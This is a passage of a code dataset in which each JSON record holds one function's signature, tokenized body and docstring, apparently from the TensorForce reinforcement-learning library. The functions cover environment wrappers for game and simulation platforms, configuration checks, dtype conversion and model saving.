{"signature": "def execute(self, action):", "body": "action_mappings, axis_mappings = [], []<EOL>if self.discretize_actions:<EOL><INDENT>combination = self.discretized_actions[action]<EOL>for key, value in combination:<EOL><INDENT>if isinstance(value, bool):<EOL><INDENT>action_mappings.append((key, value))<EOL><DEDENT>else:<EOL><INDENT>axis_mappings.append((key, value))<EOL><DEDENT><DEDENT><DEDENT>elif action:<EOL><INDENT>try:<EOL><INDENT>action_mappings, axis_mappings = self.translate_abstract_actions_to_keys(action)<EOL><DEDENT>except KeyError as e:<EOL><INDENT>raise TensorForceError(\"<STR_LIT>\".<EOL>format(e))<EOL><DEDENT><DEDENT>message = dict(<EOL>cmd=\"<STR_LIT>\",<EOL>delta_time=self.delta_time,<EOL>num_ticks=self.num_ticks,<EOL>actions=action_mappings,<EOL>axes=axis_mappings<EOL>)<EOL>self.protocol.send(message, self.socket)<EOL>response = self.protocol.recv(self.socket)<EOL>r = response.pop(b\"<STR_LIT>\", <NUM_LIT:0.0>)<EOL>is_terminal = response.pop(b\"<STR_LIT>\", False)<EOL>obs = self.extract_observation(response)<EOL>self.last_observation = obs<EOL>return obs, is_terminal, r<EOL>", "docstring": "Executes a single step in the UE4 game. This step may be comprised of one or more actual game ticks for all of\nwhich the same given\naction- and axis-inputs (or action number in case of discretized actions) are repeated.\nUE4 distinguishes between action-mappings, which are boolean actions (e.g. jump or dont-jump) and axis-mappings,\nwhich are continuous actions\nlike MoveForward with values between -1.0 (run backwards) and 1.0 (run forwards), 0.0 would mean: stop.", "id": "f14228:c0:m6"}
{"signature": "def translate_abstract_actions_to_keys(self, abstract):", "body": "<EOL>if len(abstract) >= <NUM_LIT:2> and not isinstance(abstract[<NUM_LIT:1>], (list, tuple)):<EOL><INDENT>abstract = list((abstract,))<EOL><DEDENT>actions, axes = [], []<EOL>for a in abstract:<EOL><INDENT>first_key = self.action_space_desc[a[<NUM_LIT:0>]][\"<STR_LIT>\"][<NUM_LIT:0>]<EOL>if isinstance(first_key, (bytes, str)):<EOL><INDENT>actions.append((first_key, a[<NUM_LIT:1>]))<EOL><DEDENT>elif isinstance(first_key, tuple):<EOL><INDENT>axes.append((first_key[<NUM_LIT:0>], a[<NUM_LIT:1>] * first_key[<NUM_LIT:1>]))<EOL><DEDENT>else:<EOL><INDENT>raise TensorForceError(\"<STR_LIT>\".format(a[<NUM_LIT:0>]))<EOL><DEDENT><DEDENT>return actions, axes<EOL>", "docstring": "Translates a list of tuples ([pretty mapping], [value]) to a list of tuples ([some key], [translated value])\neach single item in abstract will undergo the following translation:\n\nExample1:\nwe want: \"MoveRight\": 5.0\npossible keys for the action are: (\"Right\", 1.0), (\"Left\", -1.0)\nresult: \"Right\": 5.0 * 1.0 = 5.0\n\nExample2:\nwe want: \"MoveRight\": -0.5\npossible keys for the action are: (\"Left\", -1.0), (\"Right\", 1.0)\nresult: \"Left\": -0.5 * -1.0 = 0.5 (same as \"Right\": -0.5)", "id": "f14228:c0:m9"}
{"signature": "def discretize_action_space_desc(self):", "body": "<EOL>unique_list = []<EOL>for nice, record in self.action_space_desc.items():<EOL><INDENT>list_for_record = []<EOL>if record[\"<STR_LIT:type>\"] == \"<STR_LIT>\":<EOL><INDENT>head_key = record[\"<STR_LIT>\"][<NUM_LIT:0>][<NUM_LIT:0>]<EOL>head_value = record[\"<STR_LIT>\"][<NUM_LIT:0>][<NUM_LIT:1>]<EOL>list_for_record.append((head_key, <NUM_LIT:0.0>))<EOL>set_ = set()<EOL>for key_and_scale in self.action_space_desc[nice][\"<STR_LIT>\"]:<EOL><INDENT>if key_and_scale[<NUM_LIT:1>] not in set_:<EOL><INDENT>list_for_record.append((head_key, key_and_scale[<NUM_LIT:1>] / head_value))<EOL>set_.add(key_and_scale[<NUM_LIT:1>])<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>list_for_record = [(record[\"<STR_LIT>\"][<NUM_LIT:0>], False), (record[\"<STR_LIT>\"][<NUM_LIT:0>], True)]<EOL><DEDENT>unique_list.append(list_for_record)<EOL><DEDENT>def so(in_):<EOL><INDENT>st = \"<STR_LIT>\"<EOL>for i in in_:<EOL><INDENT>st += str(i[<NUM_LIT:1>])<EOL><DEDENT>return st<EOL><DEDENT>combinations = list(itertools.product(*unique_list))<EOL>combinations = list(map(lambda x: sorted(list(x), key=lambda y: y[<NUM_LIT:0>]), combinations))<EOL>combinations = sorted(combinations, key=so)<EOL>self.discretized_actions = combinations<EOL>", "docstring": "Creates a list of discrete action(-combinations) in case we want to learn with a discrete set of actions,\nbut only have action-combinations (maybe even continuous) available from the env.\nE.g. the UE4 game has the following action/axis-mappings:\n\n```javascript\n{\n'Fire':\n    {'type': 'action', 'keys': ('SpaceBar',)},\n'MoveRight':\n    {'type': 'axis', 'keys': (('Right', 1.0), ('Left', -1.0), ('A', -1.0), ('D', 1.0))},\n}\n```\n\n-> this method will discretize them into the following 6 discrete actions:\n\n```javascript\n[\n[(Right, 0.0),(SpaceBar, False)],\n[(Right, 0.0),(SpaceBar, True)]\n[(Right, -1.0),(SpaceBar, False)],\n[(Right, -1.0),(SpaceBar, True)],\n[(Right, 1.0),(SpaceBar, False)],\n[(Right, 1.0),(SpaceBar, True)],\n]\n```", "id": "f14228:c0:m10"}
{"signature": "def sanity_check_states(states_spec):", "body": "<EOL>states = copy.deepcopy(states_spec)<EOL>is_unique = ('<STR_LIT>' in states)<EOL>if is_unique:<EOL><INDENT>states = dict(state=states)<EOL><DEDENT>for name, state in states.items():<EOL><INDENT>if isinstance(state['<STR_LIT>'], int):<EOL><INDENT>state['<STR_LIT>'] = (state['<STR_LIT>'],)<EOL><DEDENT>if '<STR_LIT:type>' not in state:<EOL><INDENT>state['<STR_LIT:type>'] = '<STR_LIT:float>'<EOL><DEDENT><DEDENT>return states, is_unique<EOL>", "docstring": "Sanity checks a states dict, used to define the state space for an MDP.\nThrows an error or warns if mismatches are found.\n\nArgs:\n    states_spec (Union[None,dict]): The spec-dict to check (or None).\n\nReturns: Tuple of 1) the state space desc and 2) whether there is only one component in the state space.", "id": "f14229:m0"}
{"signature": "def sanity_check_actions(actions_spec):", "body": "<EOL>actions = copy.deepcopy(actions_spec)<EOL>is_unique = ('<STR_LIT:type>' in actions)<EOL>if is_unique:<EOL><INDENT>actions = dict(action=actions)<EOL><DEDENT>for name, action in actions.items():<EOL><INDENT>if '<STR_LIT:type>' not in action:<EOL><INDENT>action['<STR_LIT:type>'] = '<STR_LIT:int>'<EOL><DEDENT>if action['<STR_LIT:type>'] == '<STR_LIT:int>':<EOL><INDENT>if '<STR_LIT>' not in action:<EOL><INDENT>raise TensorForceError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>elif action['<STR_LIT:type>'] == '<STR_LIT:float>':<EOL><INDENT>if ('<STR_LIT>' in action) != ('<STR_LIT>' in action):<EOL><INDENT>raise TensorForceError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>if '<STR_LIT>' not in action:<EOL><INDENT>action['<STR_LIT>'] = ()<EOL><DEDENT>if isinstance(action['<STR_LIT>'], int):<EOL><INDENT>action['<STR_LIT>'] = (action['<STR_LIT>'],)<EOL><DEDENT><DEDENT>return actions, is_unique<EOL>", "docstring": "Sanity checks an actions dict, used to define the action space for an MDP.\nThrows an error or warns if mismatches are found.\n\nArgs:\n    actions_spec (Union[None,dict]): The spec-dict to check (or None).\n\nReturns: Tuple of 1) the action space desc and 2) whether there is only one component in the action space.", "id": "f14229:m1"}
{"signature": "def sanity_check_execution_spec(execution_spec):", "body": "<EOL>def_ = dict(type=\"<STR_LIT>\",<EOL>distributed_spec=None,<EOL>session_config=None)<EOL>if execution_spec is None:<EOL><INDENT>return def_<EOL><DEDENT>assert isinstance(execution_spec, dict), \"<STR_LIT>\".format(type(execution_spec).__name__)<EOL>type_ = execution_spec.get(\"<STR_LIT:type>\")<EOL>if type_ == \"<STR_LIT>\":<EOL><INDENT>def_ = dict(job=\"<STR_LIT>\", task_index=<NUM_LIT:0>, cluster_spec={<EOL>\"<STR_LIT>\": [\"<STR_LIT>\"],<EOL>\"<STR_LIT>\": [\"<STR_LIT>\"]<EOL>})<EOL>def_.update(execution_spec.get(\"<STR_LIT>\", {}))<EOL>execution_spec[\"<STR_LIT>\"] = def_<EOL>execution_spec[\"<STR_LIT>\"] = execution_spec.get(\"<STR_LIT>\")<EOL>return execution_spec<EOL><DEDENT>elif type_ == \"<STR_LIT>\":<EOL><INDENT>return execution_spec<EOL><DEDENT>elif type_ == \"<STR_LIT>\":<EOL><INDENT>return execution_spec<EOL><DEDENT>if execution_spec.get('<STR_LIT>') != None:<EOL><INDENT>assert type(execution_spec['<STR_LIT>']) is int, \"<STR_LIT>\".format(type(execution_spec['<STR_LIT>']).__name__)<EOL>assert execution_spec['<STR_LIT>'] > <NUM_LIT:0>, \"<STR_LIT>\".format(execution_spec['<STR_LIT>'])<EOL>return execution_spec<EOL><DEDENT>raise TensorForceError(\"<STR_LIT>\".format(type_))<EOL>", "docstring": "Sanity checks a execution_spec dict, used to define execution logic (distributed vs single, shared memories, etc..)\nand distributed learning behavior of agents/models.\nThrows an error or warns if mismatches are found.\n\nArgs:\n    execution_spec (Union[None,dict]): The spec-dict to check (or None). Dict needs to have the following keys:\n        - type: \"single\", \"distributed\"\n        - distributed_spec: The distributed_spec dict with the following fields:\n            - cluster_spec: TensorFlow ClusterSpec object (required).\n            - job: The tf-job name.\n            - task_index: integer (required).\n            - protocol: communication protocol (default: none, i.e. 'grpc').\n        - session_config: dict with options for a TensorFlow ConfigProto object (default: None).\n\nReturns: A cleaned-up (in-place) version of the given execution-spec.", "id": "f14229:m2"}
{"signature": "def close(self):", "body": "self.env = None<EOL>", "docstring": "Close environment. No other method calls possible afterwards.", "id": "f14230:c0:m2"}
{"signature": "def seed(self, seed):", "body": "return self.seed(seed)[<NUM_LIT:1>]<EOL>", "docstring": "Sets the random seed of the environment to the given value (current time, if seed=None).\nNaturally deterministic Environments (e.g. ALE or some gym Envs) don't have to implement this method.\n\nArgs:\n    seed (int): The seed to use for initializing the pseudo-random number generator (default=epoch time in sec).\nReturns: The actual seed (int) used OR None if Environment did not override this method (no seeding supported).", "id": "f14230:c0:m3"}
{"signature": "def reset(self):", "body": "return self.env.reset()<EOL>", "docstring": "Reset environment and setup for new episode.\n\nReturns:\n    initial state of reset environment.", "id": "f14230:c0:m4"}
{"signature": "def execute(self, action):", "body": "next_state, rew, done, _ = self.env.step(action)<EOL>return next_state, rew, done<EOL>", "docstring": "Executes action, observes next state and reward.\n\nArgs:\n    actions: Actions to execute.\n\nReturns:\n    Tuple of (next state, bool indicating terminal, reward)", "id": "f14230:c0:m5"}
{"signature": "def __init__(<EOL>self,<EOL>rom,<EOL>frame_skip=<NUM_LIT:1>,<EOL>repeat_action_probability=<NUM_LIT:0.0>,<EOL>loss_of_life_termination=False,<EOL>loss_of_life_reward=<NUM_LIT:0>,<EOL>display_screen=False,<EOL>seed=np.random.RandomState()<EOL>):", "body": "self.ale = ALEInterface()<EOL>self.rom = rom<EOL>self.ale.setBool(b'<STR_LIT>', display_screen)<EOL>self.ale.setInt(b'<STR_LIT>', seed.randint(<NUM_LIT:0>, <NUM_LIT>))<EOL>self.ale.setFloat(b'<STR_LIT>', repeat_action_probability)<EOL>self.ale.setBool(b'<STR_LIT>', False)<EOL>self.ale.setInt(b'<STR_LIT>', frame_skip)<EOL>self.ale.loadROM(rom.encode())<EOL>width, height = self.ale.getScreenDims()<EOL>self.gamescreen = np.empty((height, width, <NUM_LIT:3>), dtype=np.uint8)<EOL>self.frame_skip = frame_skip<EOL>self.action_inds = self.ale.getMinimalActionSet()<EOL>self.loss_of_life_reward = loss_of_life_reward<EOL>self.cur_lives = self.ale.lives()<EOL>self.loss_of_life_termination = loss_of_life_termination<EOL>self.life_lost = False<EOL>", "docstring": "Initialize ALE.\n\nArgs:\n    rom: Rom filename and directory.\n    frame_skip: Repeat action for n frames. Default 1.\n    repeat_action_probability: Repeats last action with given probability. Default 0.\n    loss_of_life_termination: Signals a terminal state on loss of life. Default False.\n    loss_of_life_reward: Reward/Penalty on loss of life (negative values are a penalty). Default 0.\n    display_screen: Displays the emulator screen. Default False.\n    seed: Random seed", "id": "f14231:c0:m0"}
{"signature": "def __init__(self, env_id):", "body": "self.env_id = env_id<EOL>self.env = gym.make(env_id)<EOL>", "docstring": "Initialize OpenAI universe environment.\n\nArgs:\n    env_id: string with id/descriptor of the universe environment, e.g. 'HarvestDay-v0'.", "id": "f14232:c0:m0"}
{"signature": "def _int_to_pos(self, flat_position):", "body": "return flat_position % self.env.action_space.screen_shape[<NUM_LIT:0>],flat_position % self.env.action_space.screen_shape[<NUM_LIT:1>]<EOL>", "docstring": "Returns x, y from flat_position integer.\n\n        Args:\n            flat_position: flattened position integer\n\n        Returns: x, y", "id": "f14232:c0:m6"}
{"signature": "def _wait_state(self, state, reward, terminal):", "body": "while state == [None] or not state:<EOL><INDENT>state, terminal, reward = self._execute(dict(key=<NUM_LIT:0>))<EOL><DEDENT>return state, terminal, reward<EOL>", "docstring": "Wait until there is a state.", "id": "f14232:c0:m11"}
{"signature": "def __init__(<EOL>self,<EOL>level_id,<EOL>repeat_action=<NUM_LIT:1>,<EOL>state_attribute='<STR_LIT>',<EOL>settings={'<STR_LIT:width>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT>'}<EOL>):", "body": "self.level_id = level_id<EOL>self.level = deepmind_lab.Lab(level=level_id, observations=[state_attribute], config=settings)<EOL>self.repeat_action = repeat_action<EOL>self.state_attribute = state_attribute<EOL>", "docstring": "Initialize DeepMind Lab environment.\n\nArgs:\n    level_id: string with id/descriptor of the level, e.g. 'seekavoid_arena_01'.\n    repeat_action: number of frames the environment is advanced, executing the given action during every frame.\n    state_attribute: Attributes which represents the state for this environment, should adhere to the\n        specification given in DeepMindLabEnvironment.state_spec(level_id).\n    settings: dict specifying additional settings as key-value string pairs. The following options\n        are recognized: 'width' (horizontal resolution of the observation frames), 'height'\n        (vertical resolution of the observation frames), 'fps' (frames per second) and 'appendCommand'\n        (commands for the internal Quake console).", "id": "f14233:c0:m0"}
{"signature": "def close(self):", "body": "self.level.close()<EOL>self.level = None<EOL>", "docstring": "Closes the environment and releases the underlying Quake III Arena instance.\nNo other method calls possible afterwards.", "id": "f14233:c0:m2"}
{"signature": "def reset(self):", "body": "self.level.reset()  <EOL>return self.level.observations()[self.state_attribute]<EOL>", "docstring": "Resets the environment to its initialization state. This method needs to be called to start a\nnew episode after the last episode ended.\n\n:return: initial state", "id": "f14233:c0:m3"}
{"signature": "def execute(self, action):", "body": "adjusted_action = list()<EOL>for action_spec in self.level.action_spec():<EOL><INDENT>if action_spec['<STR_LIT>'] == -<NUM_LIT:1> and action_spec['<STR_LIT>'] == <NUM_LIT:1>:<EOL><INDENT>adjusted_action.append(action[action_spec['<STR_LIT:name>']] - <NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>adjusted_action.append(action[action_spec['<STR_LIT:name>']])  <EOL><DEDENT><DEDENT>action = np.array(adjusted_action, dtype=np.intc)<EOL>reward = self.level.step(action=action, num_steps=self.repeat_action)<EOL>state = self.level.observations()['<STR_LIT>']<EOL>terminal = not self.level.is_running()<EOL>return state, terminal, reward<EOL>", "docstring": "Pass action to universe environment, return reward, next step, terminal state and\nadditional info.\n\n:param action: action to execute as numpy array, should have dtype np.intc and should adhere to\n    the specification given in DeepMindLabEnvironment.action_spec(level_id)\n:return: dict containing the next state, the reward, and a boolean indicating if the\n    next state is a terminal state", "id": "f14233:c0:m4"}
{"signature": "@property<EOL><INDENT>def num_steps(self):<DEDENT>", "body": "return self.level.num_steps()<EOL>", "docstring": "Number of frames since the last reset() call.", "id": "f14233:c0:m7"}
{"signature": "@property<EOL><INDENT>def fps(self):<DEDENT>", "body": "return self.level.fps()<EOL>", "docstring": "An advisory metric that correlates discrete environment steps (\"frames\") with real\n(wallclock) time: the number of frames per (real) second.", "id": "f14233:c0:m8"}
{"signature": "def __init__(self, game, ui, visualize=False):", "body": "self.game = game<EOL>self.init_game = copy.deepcopy(self.game)<EOL>self.ui = ui<EOL>self.visualize = visualize<EOL>first_obs, first_reward, _ = self.game.its_showtime()<EOL>self._actions = DMPycolab.get_action_space(self.ui)<EOL>self._states = DMPycolab.get_state_space(first_obs, self.ui._croppers)<EOL>", "docstring": "Initialize Pycolab environment.\n\nArgs:\n    game: Pycolab Game Engine object. See https://github.com/deepmind/pycolab/tree/master/pycolab/examples\n    ui: Pycolab CursesUI object. See https://github.com/deepmind/pycolab/tree/master/pycolab/examples\n    visualize: If set True, the program will visualize the trainings of Pycolab game # TODO", "id": "f14234:c0:m0"}
{"signature": "def __init__(self, gym_id, monitor=None, monitor_safe=False, monitor_video=<NUM_LIT:0>, visualize=False):", "body": "self.gym_id = gym_id<EOL>self.gym = gym.make(gym_id)  <EOL>self.visualize = visualize<EOL>if monitor:<EOL><INDENT>if monitor_video == <NUM_LIT:0>:<EOL><INDENT>video_callable = False<EOL><DEDENT>else:<EOL><INDENT>video_callable = (lambda x: x % monitor_video == <NUM_LIT:0>)<EOL><DEDENT>self.gym = gym.wrappers.Monitor(self.gym, monitor, force=not monitor_safe, video_callable=video_callable)<EOL><DEDENT>self._states = OpenAIGym.state_from_space(space=self.gym.observation_space)<EOL>self._actions = OpenAIGym.action_from_space(space=self.gym.action_space)<EOL>", "docstring": "Initialize OpenAI Gym.\n\nArgs:\n    gym_id: OpenAI Gym environment ID. See https://gym.openai.com/envs\n    monitor: Output directory. Setting this to None disables monitoring.\n    monitor_safe: Setting this to True prevents existing log files to be overwritten. Default False.\n    monitor_video: Save a video every monitor_video steps. Setting this to 0 disables recording of videos.\n    visualize: If set True, the program will visualize the trainings of gym's environment. Note that such\n        visualization is probabily going to slow down the training.", "id": "f14235:c0:m0"}
{"signature": "def set_state(self, **kwargs):", "body": "raise NotImplementedError<EOL>", "docstring": "Sets the current state of the environment manually to some other state and returns a new observation.\n\nArgs:\n    **kwargs: The set instruction(s) to be executed by the environment.\n               A single set instruction usually set a single property of the\n              state/observation vector to some new value.\nReturns: The observation dictionary of the Environment after(!) setting it to the new state.", "id": "f14236:c0:m0"}
{"signature": "def __init__(self,config_file):", "body": "self.game = DoomGame()<EOL>self.game.load_config(config_file)<EOL>self.game.init()<EOL>self.state_shape = self.featurize(self.game.get_state()).shape<EOL>self.num_actions = len(self.game.get_available_buttons())<EOL>", "docstring": "Initialize ViZDoom environment.\n\nArgs:\n        config_file: .cfg file path, which defines how a world works and look like (maps)", "id": "f14237:c0:m0"}
{"signature": "def __init__(self,env_id,visualize=False):", "body": "envs = [Arm2DEnv,L2RunEnv,ProstheticsEnv]<EOL>self.env = envs[env_id](visualize=visualize)<EOL>self.state_shape = len(self.env.reset())<EOL>self.num_actions = len(self.env.action_space.sample())<EOL>", "docstring": "Initialize OpenSimulator environment.\n\nArgs:\n        visualize: render enviroment\n        env: environment id to use ([0:Arm2DEnv, 1:L2RunEnv, 2:ProstheticsEnv])", "id": "f14238:c0:m0"}
{"signature": "def prod(xs):", "body": "p = <NUM_LIT:1><EOL>for x in xs:<EOL><INDENT>p *= x<EOL><DEDENT>return p<EOL>", "docstring": "Computes the product along the elements in an iterable. Returns 1 for empty iterable.\n\n    Args:\n        xs: Iterable containing numbers.\n\n    Returns: Product along iterable.", "id": "f14239:m0"}
{"signature": "def np_dtype(dtype):", "body": "if dtype == '<STR_LIT:float>' or dtype == float or dtype == np.float32 or dtype == tf.float32:<EOL><INDENT>return np.float32<EOL><DEDENT>elif dtype == np.float64 or dtype == tf.float64:<EOL><INDENT>return np.float64<EOL><DEDENT>elif dtype == np.float16 or dtype == tf.float16:<EOL><INDENT>return np.float16<EOL><DEDENT>elif dtype == '<STR_LIT:int>' or dtype == int or dtype == np.int32 or dtype == tf.int32:<EOL><INDENT>return np.int32<EOL><DEDENT>elif dtype == np.int64 or dtype == tf.int64:<EOL><INDENT>return np.int64<EOL><DEDENT>elif dtype == np.int16 or dtype == tf.int16:<EOL><INDENT>return np.int16<EOL><DEDENT>elif dtype == '<STR_LIT:bool>' or dtype == bool or dtype == np.bool_ or dtype == tf.bool:<EOL><INDENT>return np.bool_<EOL><DEDENT>else:<EOL><INDENT>raise TensorForceError(\"<STR_LIT>\".format(str(dtype)))<EOL><DEDENT>", "docstring": "Translates dtype specifications in configurations to numpy data types.\n    Args:\n        dtype: String describing a numerical type (e.g. 'float') or numerical type primitive.\n\n    Returns: Numpy data type", "id": "f14239:m3"}
{"signature": "def tf_dtype(dtype):", "body": "<EOL>if dtype == '<STR_LIT:float>' or dtype == float or dtype == np.float32 or dtype == tf.float32:<EOL><INDENT>return tf.float32<EOL><DEDENT>elif dtype == np.float64 or dtype == tf.float64:<EOL><INDENT>return tf.float64<EOL><DEDENT>elif dtype == np.float16 or dtype == tf.float16:<EOL><INDENT>return tf.float16<EOL><DEDENT>elif dtype == '<STR_LIT:int>' or dtype == int or dtype == np.int32 or dtype == tf.int32:<EOL><INDENT>return tf.int32<EOL><DEDENT>elif dtype == np.int64 or dtype == tf.int64:<EOL><INDENT>return tf.int64<EOL><DEDENT>elif dtype == np.int16 or dtype == tf.int16:<EOL><INDENT>return tf.int16<EOL><DEDENT>elif dtype == '<STR_LIT:bool>' or dtype == bool or dtype == np.bool_ or dtype == tf.bool:<EOL><INDENT>return tf.bool<EOL><DEDENT>else:<EOL><INDENT>raise TensorForceError(\"<STR_LIT>\".format(str(dtype)))<EOL><DEDENT>", "docstring": "Translates dtype specifications in configurations to tensorflow data types.\n\n       Args:\n           dtype: String describing a numerical type (e.g. 'float'), numpy data type,\n               or numerical type primitive.\n\n       Returns: TensorFlow data type", "id": "f14239:m4"}
{"signature": "def get_tensor_dependencies(tensor):", "body": "dependencies = set()<EOL>dependencies.update(tensor.op.inputs)<EOL>for sub_op in tensor.op.inputs:<EOL><INDENT>dependencies.update(get_tensor_dependencies(sub_op))<EOL><DEDENT>return dependencies<EOL>", "docstring": "Utility method to get all dependencies (including placeholders) of a tensor (backwards through the graph).\n\nArgs:\n    tensor (tf.Tensor): The input tensor.\n\nReturns: Set of all dependencies (including needed placeholders) for the input tensor.", "id": "f14239:m6"}
{"signature": "def get_object(obj, predefined_objects=None, default_object=None, kwargs=None):", "body": "args = ()<EOL>kwargs = dict() if kwargs is None else kwargs<EOL>if isinstance(obj, str) and os.path.isfile(obj):<EOL><INDENT>with open(obj, '<STR_LIT:r>') as fp:<EOL><INDENT>obj = json.load(fp=fp)<EOL><DEDENT><DEDENT>if isinstance(obj, dict):<EOL><INDENT>kwargs.update(obj)<EOL>obj = kwargs.pop('<STR_LIT:type>', None)<EOL><DEDENT>if predefined_objects is not None and obj in predefined_objects:<EOL><INDENT>obj = predefined_objects[obj]<EOL><DEDENT>elif isinstance(obj, str):<EOL><INDENT>if obj.find('<STR_LIT:.>') != -<NUM_LIT:1>:<EOL><INDENT>module_name, function_name = obj.rsplit('<STR_LIT:.>', <NUM_LIT:1>)<EOL>module = importlib.import_module(module_name)<EOL>obj = getattr(module, function_name)<EOL><DEDENT>else:<EOL><INDENT>raise TensorForceError(\"<STR_LIT>\".format(<EOL>obj,<EOL>list(predefined_objects or ())<EOL>))<EOL><DEDENT><DEDENT>elif callable(obj):<EOL><INDENT>pass<EOL><DEDENT>elif default_object is not None:<EOL><INDENT>args = (obj,)<EOL>obj = default_object<EOL><DEDENT>else:<EOL><INDENT>return obj<EOL><DEDENT>return obj(*args, **kwargs)<EOL>", "docstring": "Utility method to map some kind of object specification to its content,\ne.g. optimizer or baseline specifications to the respective classes.\n\nArgs:\n    obj: A specification dict (value for key 'type' optionally specifies\n            the object, options as follows), a module path (e.g.,\n            my_module.MyClass), a key in predefined_objects, or a callable\n            (e.g., the class type object).\n    predefined_objects: Dict containing predefined set of objects,\n            accessible via their key\n    default_object: Default object is no other is specified\n    kwargs: Arguments for object creation\n\nReturns: The retrieved object", "id": "f14239:m7"}
{"signature": "def prepare_kwargs(raw, string_parameter='<STR_LIT:name>'):", "body": "kwargs = dict()<EOL>if isinstance(raw, dict):<EOL><INDENT>kwargs.update(raw)<EOL><DEDENT>elif isinstance(raw, str):<EOL><INDENT>kwargs[string_parameter] = raw<EOL><DEDENT>return kwargs<EOL>", "docstring": "Utility method to convert raw string/diction input into a dictionary to pass\ninto a function.  Always returns a dictionary.\n\nArgs:\n    raw: string or dictionary, string is assumed to be the name of the activation\n            activation function.  Dictionary will be passed through unchanged.\n\nReturns: kwargs dictionary for **kwargs", "id": "f14239:m8"}
{"signature": "def register_saver_ops(self):", "body": "variables = self.get_savable_variables()<EOL>if variables is None or len(variables) == <NUM_LIT:0>:<EOL><INDENT>self._saver = None<EOL>return<EOL><DEDENT>base_scope = self._get_base_variable_scope()<EOL>variables_map = {strip_name_scope(v.name, base_scope): v for v in variables}<EOL>self._saver = tf.train.Saver(<EOL>var_list=variables_map,<EOL>reshape=False,<EOL>sharded=False,<EOL>max_to_keep=<NUM_LIT:5>,<EOL>keep_checkpoint_every_n_hours=<NUM_LIT>,<EOL>name=None,<EOL>restore_sequentially=False,<EOL>saver_def=None,<EOL>builder=None,<EOL>defer_build=False,<EOL>allow_empty=True,<EOL>write_version=tf.train.SaverDef.V2,<EOL>pad_step_number=False,<EOL>save_relative_paths=True<EOL>)<EOL>", "docstring": "Registers the saver operations to the graph in context.", "id": "f14239:c0:m0"}
{"signature": "def get_savable_variables(self):", "body": "raise NotImplementedError()<EOL>", "docstring": "Returns the list of all the variables this component is responsible to save and restore.\n\nReturns:\n    The list of variables that will be saved or restored.", "id": "f14239:c0:m1"}
{"signature": "def save(self, sess, save_path, timestep=None):", "body": "if self._saver is None:<EOL><INDENT>raise TensorForceError(\"<STR_LIT>\")<EOL><DEDENT>return self._saver.save(<EOL>sess=sess,<EOL>save_path=save_path,<EOL>global_step=timestep,<EOL>write_meta_graph=False,<EOL>write_state=True,  <EOL>)<EOL>", "docstring": "Saves this component's managed variables.\n\nArgs:\n    sess: The session for which to save the managed variables.\n    save_path: The path to save data to.\n    timestep: Optional, the timestep to append to the file name.\n\nReturns:\n    Checkpoint path where the model was saved.", "id": "f14239:c0:m2"}
{"signature": "def restore(self, sess, save_path):", "body": "if self._saver is None:<EOL><INDENT>raise TensorForceError(\"<STR_LIT>\")<EOL><DEDENT>self._saver.restore(sess=sess, save_path=save_path)<EOL>", "docstring": "Restores the values of the managed variables from disk location.\n\nArgs:\n    sess: The session for which to save the managed variables.\n    save_path: The path used to save the data to.", "id": "f14239:c0:m3"}
{"signature": "def _get_base_variable_scope(self):", "body": "raise NotImplementedError()<EOL>", "docstring": "Returns the portion of the variable scope that is considered a base for this component. The variables will be\nsaved with names relative to that scope.\n\nReturns:\n    The name of the base variable scope, should always end with \"/\".", "id": "f14239:c0:m4"}
{"signature": "def WorkerAgentGenerator(agent_class):", "body": "<EOL>if isinstance(agent_class, str):<EOL><INDENT>agent_class = AgentsDictionary.get(agent_class)<EOL>if not agent_class and agent_class.find('<STR_LIT:.>') != -<NUM_LIT:1>:<EOL><INDENT>module_name, function_name = agent_class.rsplit('<STR_LIT:.>', <NUM_LIT:1>)<EOL>module = importlib.import_module(module_name)<EOL>agent_class = getattr(module, function_name)<EOL><DEDENT><DEDENT>class WorkerAgent(agent_class):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>def __init__(self, model=None, **kwargs):<EOL><INDENT>self.model = model<EOL>if not issubclass(agent_class, LearningAgent):<EOL><INDENT>kwargs.pop(\"<STR_LIT>\")<EOL><DEDENT>super(WorkerAgent, self).__init__(**kwargs)<EOL><DEDENT>def initialize_model(self):<EOL><INDENT>return self.model<EOL><DEDENT><DEDENT>return WorkerAgent<EOL>", "docstring": "Worker Agent generator, receives an Agent class and creates a Worker Agent class that inherits from that Agent.", "id": "f14240:m0"}
{"signature": "def clone_worker_agent(agent, factor, environment, network, agent_config):", "body": "ret = [agent]<EOL>for i in xrange(factor - <NUM_LIT:1>):<EOL><INDENT>worker = WorkerAgentGenerator(type(agent))(<EOL>states=environment.states,<EOL>actions=environment.actions,<EOL>network=network,<EOL>model=agent.model,<EOL>**agent_config<EOL>)<EOL>ret.append(worker)<EOL><DEDENT>return ret<EOL>", "docstring": "Clones a given Agent (`factor` times) and returns a list of the cloned Agents with the original Agent\nin the first slot.\n\nArgs:\n    agent (Agent): The Agent object to clone.\n    factor (int): The length of the final list.\n    environment (Environment): The Environment to use for all cloned agents.\n    network (LayeredNetwork): The Network to use (or None) for an Agent's Model.\n    agent_config (dict): A dict of Agent specifications passed into the Agent's c'tor as kwargs.\nReturns:\n    The list with `factor` cloned agents (including the original one).", "id": "f14240:m1"}
{"signature": "def __init__(self, agent, environment, repeat_actions=<NUM_LIT:1>, save_path=None, save_episodes=None, save_frequency=None,<EOL>save_frequency_unit=None, agents=None, environments=None):", "body": "if agents is not None:<EOL><INDENT>warnings.warn(\"<STR_LIT>\",<EOL>category=DeprecationWarning)<EOL>agent = agents<EOL><DEDENT>if environments is not None:<EOL><INDENT>warnings.warn(\"<STR_LIT>\",<EOL>category=DeprecationWarning)<EOL>environment = environments<EOL><DEDENT>super(ThreadedRunner, self).__init__(agent, environment, repeat_actions)<EOL>if len(agent) != len(environment):<EOL><INDENT>raise TensorForceError(\"<STR_LIT>\".<EOL>format(a=len(self.agent), e=len(self.environment)))<EOL><DEDENT>self.save_path = save_path<EOL>self.save_episodes = save_episodes<EOL>if self.save_episodes is not None:<EOL><INDENT>warnings.warn(\"<STR_LIT>\"<EOL>\"<STR_LIT>\",<EOL>category=DeprecationWarning)<EOL>self.save_frequency = self.save_episodes<EOL>self.save_frequency_unit = 